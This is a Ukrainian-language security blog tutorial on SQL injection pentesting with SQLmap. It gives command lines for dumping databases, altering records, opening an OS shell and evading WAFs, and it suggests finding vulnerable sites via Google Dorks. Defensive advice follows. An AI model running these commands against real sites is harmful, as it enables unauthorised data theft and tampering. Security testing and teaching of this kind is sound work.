Close
KR. LABORATORIES
Digital-лабораторія IT технологій
 UK EN

Пентестинг з SQLmap або як експлуатувати SQL вразливості

У цьому керівництві розглянемо ази пентесту в SQLmap. Навчимось як протестувати будь-який сайт на SQL-вразливість. Дізнаємося що таке SQL-ін’єкція. У висновку, отримаємо чітке розуміння того, як використовувати SQLmap для забезпечення безпеки веб-додатків.

Зміст статті

Що таке SQLmap?

SQLmap – це культовий інструмент етичного хакінгу, який застосовується спеціалістами з кібербезпеки для проведення тестів на проникнення SQL баз даних. Інструмент розроблений на Python у 2006 році італійцем Даніелем Белуччі. На сьогодні підтримується італійцем Берндардом Дамеле та хорватом Мирославом Штампаром. Розповсюджується безкоштовно за ліцензією GPLv2. SQLmap входить в ТОП-10 найпотужніших хакерських інструментів всіх часів. Детальніше про історію проєкта тут.

Основні переваги та відмінності SQLmap:

  • Повністю автоматизований процес пошуку і експлуатації SQL-ін’єкцій.
  • Підтримка різноманітних SQL методів, технік виразів: boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries, out-of-band.
  • Можливість використовувати у зв’язці з проксі Burp Suite та Metasploit (через сесію Meterpreter), а також іншими додатками.
  • Розпізнає HTTP GET/POST запити з txt-файлу.
  • Вбудований брутфорсер хешів MD5.
  • Можливість формування дампу бази даних.
  • Підтримка різноманітних варіантів експлуатації, включаючи OS Shell, SQL Shell.
  • Розуміння синтаксису MySQL, PostgreSQL, Microsoft SQL Server, Oracle, SQLite, IBM DB2, Firebird, Sybase, SAP MaxDB, HSQLDB.

Як встановити SQLmap в Linux?

Встановити SQLmap можна декількома шляхами:

В дистрибутиві Kali Linux SQLmap вже встановлений по замовчуванню.

Приклади роботи з SQLmap

Підготовчі етапи:

  1. Перед початком роботи з SQLmap необхідно отримати точку входу – це URL-адреса, HTTP-запит, файл або директорія з вразливими параметрами чи помилками.
  2. Для цього спершу треба ретельно просканувати сайт, провести аудит, проаналізувати його структуру, переглянути усі можливі файли, директорії, URL-адреси (фаззінг) та виявити слабкі місця.
  3. Зазвичай, вразливими до SQL-ін’єкцій є веб-сторінки з генерацією динамічних URL, форми відправки даних, функціонал пошуку з великою кількістю параметрів, разноманітні API-інтеграції тощо.
  4. Можна поєднувати ручне і автоматичне сканування. Популярні інструменти для автоматизованого IAST/DAST сканування: Burp Suite, OWASP ZAP, Acunetix, Dirb, FFUF, WPScan, Nekto, Nessus, ImmuniWeb тощо.
  5. Для пошуку вразливих сайтів в інтернеті можна скористатися Google Dorks.
  6. Як тільки ви отримали точку входу, можна переходити в SQLmap для експлуатації вразливих до SQL-ін’єкцій параметрів.
  7. Запускати SQLmap рекомендую з віртуальної машини або VPS-сервера.

Команди SQLmap:

  • sqlmap -u 'http://domain.com/links.php?extension=menu&view=menu&parent=343434' -p parent — протестувати на SQL-вразливість до ін’єкції сайт за вказаним URL-посиланням та вказаним параметром, який треба перебрати.
  • sqlmap -u 'http://domain.com/links.php?extension=menu&view=menu&parent=343434' -p parent --dbs --batch --level=5 --risk=3 --random-agent — протестувати на SQL-вразливість до ін’єкції сайт за вказаним URL-посиланням та вказаним параметром, в автоматичному режимі batch, з найвищим рівнем деталізованості level (від 1 до 5) та найвищим рівнем критичності risk (від 1 до 3), випадковим User-Agent браузера для кожного запиту, а також отримати тип і назву бази даних dbs, якщо виявиться, що сайт вразливий.
  • sqlmap -u 'http://domain.com/links.php?extension=menu&view=menu&parent=343434' -p parent -D databasename --tables --random-agent -o — переглянути всі таблиці вказаної бази даних, використавши випадковий User-Agent та оптимізацію o.
  • sqlmap -u 'http://domain.com/links.php?extension=menu&view=menu&parent=343434' -p parent -D databasename -T databasetable --columns --random-agent -o — переглянути вказану таблицю з усіма колонками за заданою базою даних, застосувавши оптимізацію і рандомний браузер.
  • sqlmap -u 'http://domain.com/links.php?extension=menu&view=menu&parent=343434' -p parent -D databasename -T databasetable --dump --random-agent -o — зробити дамп вказаної таблиці бази даних і зберегти в файлі CSV.
  • sqlmap -u 'http://domain.com/links.php?extension=menu&view=menu&parent=343434' -p parent -D databasename -T databasetable -С columnname1,columnname2,columnname3 --dump --random-agent -o — зробити дамп вказаної таблиці бази даних зазначених колонок.
  • sqlmap -u 'http://domain.com/links.php?extension=menu&view=menu&parent=343434' -p parent -D databasename --dump-all --random-agent -o dump_file.sql — зробити повний дамп усієї бази даних і зберегти в файлі SQL.
  • sqlmap -r /path/to/postsqli.txt -p param --dbms=mysql --sql-query="UPDATE db_tablename SET email='new@email.com' WHERE email='old@email.com';" --random-agent -o — змінити дані у вказаній таблиці бази даних, замінивши одне значення на інше у колонці.
  • sqlmap -u "https://240c97ed4233e1e56b4bdf68997f1383.ctf.hacker101.com/login" --data "username=&password=" --method POST --regexp "Invalid password" --dump — експлуатація форми входу на SQL-ін’єкцію через вказані параметри POST-запиту.
  • sqlmap -u "http://XXX.XXX.XXX.X/sqli_1.php?title=hello&action=search" --cookie "PHPSESSID=ipcund5314149g188pfhb3pff1; security_level=0" -p title — проексплуатувати вказаний URL з параметром tile, використавши зазначені кукі.
  • sqlmap -u 'http://domain.com/links.php?extension=menu&view=menu&parent=343434' -p parent --random-agent -f --banner --current-user --passwords --tables --exclude-sysdbs — провести fingerprinting бази даних, отримати ім’я користувача, отримати назву і версію бази даних, назви всіх таблиць, ігноруючи системі sysdbs.
  • sqlmap -u 'http://domain.com/links.php?extension=menu&view=menu&parent=343434' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246' — протестувати вказаний URL із застосуванням HTTP-заголовка, у даному випадку User-Agent.

Додаткові ключі:

  • --os-shell — доступ до інтерактивного командного рядка.
  • --sql-shell — доступ до оболонки комадного рядка MySQL.
  • --no-cast — уникнення автоматичного приведення типів даних.
  • --current-user — отримання імені поточного користувача бази даних.
  • --is-dba — перевірка прав, чи є поточний користувач адміністратором бази даних.
  • --hex — використовується для перетворення (конвертації) даних в шістнадцятковий формат (hexadecimal), це може допомогти уникнути проблем із кодуванням або фільтрацією даних на рівні бази даних або веб-додатку.
  • --tamper — використовується для вказування скриптів маніпулювання (tamper scripts), які можуть змінювати payload для обходу різних систем захисту, таких як Web Application Firewall (WAF).
  • --cookie="name=value" — передача cookie для аутентифікації.
  • --tor — підключення через TOR мережу.
  • --tor-type — вказує тип проксі для використання Tor. За замовчуванням, це SOCKS5, але ви також можете використовувати HTTP.
  • --check-tor — перевіряє чи працює TOR як проксі.
  • --fresh-queries — ігнорувати кешовані запити попередніх результатів.
  • --flush-session — очищення всіх даних сесії для цілі.
  • --count — підрахунок кількості записів у базі даних.
  • -v 1 — рівень деталізації виводу, від 1 до 5.
  • --dbms "mysql" — вказати тип бази даних для експлуатації.
  • --threads=10 — кількість паралельних потоків для сканування, від 1 до 10.
  • --replicate — повторно застосовувати вже знайдені раніше вразливості.
  • --referer="https://domain.com" — вказати HTTP-заголовок referer.
  • --delay=3 — затримка в секундах між кожним запитом.
  • --timeout=30 — час очікування відповіді в секундах.
  • --force-ssl — примусове використання SSL/TLS (HTTPS) протоколу.
  • --csrf-token="token"  — вказати CSRF токен.
  • --proxy="http://127.0.0.1:8080" — вказати проксі-сервер.
  • --data="data" — рядок з даними, які треба відправити через POST-запит.
  • --mobile — використати User-Agent мобільного пристрою.
  • --technique=U — тип SQL-ін’єкції, наприклад Union.
  • -h — викликати довідку.

Принципи розуміння SQL-ін’єкцій

Що таке SQL? Це структурована мова (Structured Query Language), яка дозволяє взаємодіяти з реляційними базами даних.

Кожна база даних має таку структуру:

  • Таблиці (tables)
    • Рядки (rows)
    • Колонки (columns)
    • Комірки (cells)

Приклад таблиці бази даних:

  • Колонки: Ім’я, Прізвище, Клас, Вік
  • Рядки: (Олексій, Іваненко, 5-А, 10), (Марія, Петрова, 6-Б, 11)
  • Комірки: “Олексій”, “Іваненко”, “5-А”, “10”, “Марія”, “Петрова”, “6-Б”, “11”

Основні команди SQL:

  • SELECT – команда обрати;
  • INSERT – команда вставити нові значення в таблицю;
  • UNION – об’єднує різні команди;
  • UPDATE – оновити існуючі значення в таблиці;
  • DELETE – команда видалити.

Що таке ін’єкція? Це відправка запитів на сервер з метою обійти захист системи та отримати несанкціоновані дані або здійснити несанкціоновані дії, внести зміни в базу даних.

Принцип дії виконання SQL-запиту через динамічний URL

Приклад звичайої SQL-ін’єкції.

Типи SQL-ін’єкцій:

  1. Boolean-based blind SQL-injection (інколи називають інферентною SQL ін’єкцією): У вразливий параметр у HTTP-запиті передаються кілька валідних виразів, які оцінюються як істинні або хибні. Порівнюючи сторінки відповідей для обох умов, можна визначити, чи була ін’єкція успішною.
  2. Time-based blind SQL-injection (інколи називають сліпою SQL ін’єкцією): У вразливий параметр у HTTP-запиті передаються валідні SQL-вирази, які змушують базу даних зупинятися на певний період часу. Порівнюючи часи відгуку між звичайними запитами та ін’єктованими запитами з різним часом затримки, можна визначити, чи було виконання SQL-виразу успішним.
  3. Error-based SQL-injection: У вразливий параметр у HTTP-запиті передаються невалідні SQL-вирази. Інструмент потім відстежує HTTP-відповіді на наявність повідомлень про помилки, які розкривають.
  4. UNION Query SQL-injection: SQL-ін’єкція на основі UNION, використовується для маніпуляції даними через передачу результатів запиту SELECT через визначений цикл або рядок інструкцій, що виводять дані на вміст сторінки веб-додатку. У випадку, якщо результати не проходять через цикл for або інші оператори, SQLMap використовує одноразову ін’єкцію через UNION.
  5. Stacked Query SQL-injection: SQLMap використовує цю техніку, додаючи крапку з комою (;) до значення вразливого параметра і додаючи SQL-інструкцію, яка має бути виконана. Це дозволяє виконувати SQL-вирази, відмінні від SELECT, що є корисним для отримання доступу на читання і запис, а також для захоплення контролю над операційною системою.
  6. Out-Of-Band SQL-injection: Цей метод використовує вторинний канал комунікації для виведення результатів запитів, запущених у вразливому додатку. Наприклад, дані можуть відправлятися на домен злоумисника через вторинний канал, такий як DNS-запити, під час вставки веб-застосунку.

👉 Більше теорії на SQL Tutorial>>

Чим небезпечні SQL ін’єкції?

  • Злив бази даних. Проведення успішної SQL-ін’єкції в 90% приводить до несанкціонованого доступу до бази даних, а відтак до її вивантаження, тобто дампу та компрометації усього сайту. За таких обставин, вас чекає публічний витік усієї інформації, яка міститься в базі: облікові записи користувачів (включно з паролями), номери телефонів, адреси електронної пошти, а нерідко й номери карток, їх терміни дії та інші супутні відомості. Зловмисники часто продають злиті бази даних на форумах в даркнеті.
  • Дефейс сайту. Через SQL-ін’єкцію зловмисники отримують несанкціонований доступ до бази даних, що дозволяє їм вносити будь-які візуальні зміни на сайті (англ. deface). Наприклад, може бути змінений контент, додані нові зображення або інші елементи.
  • Вірус-редирект. Через злам бази даних, зловмисники зможуть вносити змін у вихідний код сайту й встановити шкідливий скрипт, який буде перенаправляти користувачів на сторонні токсичні ресурси. 
  • DDoS-атака. SQL-ін’єкція може бути використана для створення запитів, які витрачають надмірну кількість ресурсів сервера. Наприклад, зловмисник може ввести таку ін’єкцію, що викличе складний, ресурсомісткий запит до бази даних та подальшу відмову в обслуговуванні збоку сервера.
  • Читання системних файлів. SQL-ін’єкція може призвести до зчитування системних файлів, якщо база даних має відповідні вразливості або некоректно налаштована.
  • Підвищення привілеїв. Не рідко SQL-ін’єкція може привести до отримання доступу до функцій або облікових записів з правами адміністратора. Це може дати зловмиснику контроль над всією системою або навіть над сервером, на якому розміщена база даних.
  • Віддалене виконання коду (RCE). Деякі SQL-ін’єкції за певним умов можуть призвести до запуску shell’а, а отже, й віддаленого контролю над сервером.

Як захиститися від SQL-ін’єкцій?

  1. Встановити WAF (Web Application Firewall) для зовнішнього захисту веб-додатка. Наприклад, Cloudflare. Виставити на середній або максимальний рівень блокування HTTP-запитів.
  2. Встановити на сервері фаєрволи CSF/IPtables з відповідними правилами блокування підозрілого трафіку.
  3. Встановити коректні права доступу на всі файли і директорії. Обмежити доступ до службових файлів та будь-яких конфіденційних даних.
  4. Дотримуватися правил безпечного кодування. Не використовувати застарілі методи і бібліотеки.
  5. Не використовувати застарілі або вразливі версії програмного забезпечення.
  6. Провести комплексну конфігурацію MySQL і PHP, а також інших компонентів.
  7. Вимкнути публічний вивід помилок на сайті. Часто, ці помилки містять повний шлях розташування серверних файлів та папок, що може вказати зловмиснику на вразливість або вектор атаки.
  8. Застосовувати санітизацію (очищення) вхідних запитів і валідацію веб-коду, який виконується або додається на сайт. Використовувати правило нульової довіри.
  9. Хешувати паролі користувачів, які зберігаються в базі даних. Наприклад, в Bcrypt.
  10. Уникати динамічних запитів URL з численними параметрами. Проводити регулярну перевірку з допомогою автоматизованих засобів, таких як калібратор MySQLtuner та SQLmap.
  11. Виконувати щорічно зовнішній аудит безпеки і тестування на проникнення (пентест).

👉 Читайте також: Команди роботи з MySQL в терміналі Linux

Додаткові посилання

ПОДІЛИТИСЬ У СОЦМЕРЕЖАХ:

Отримати комерційну пропозицію
Оформити заявку
Замовити консультацію

Заповніть, будь ласка, форму й наш спеціаліст зв’яжеться з Вами та надасть безкоштовну консультацію!

Замовити дзвінок

Вкажіть, будь ласка, контактний номер телефону. Наш менеджер миттєво зв’яжеться з Вами!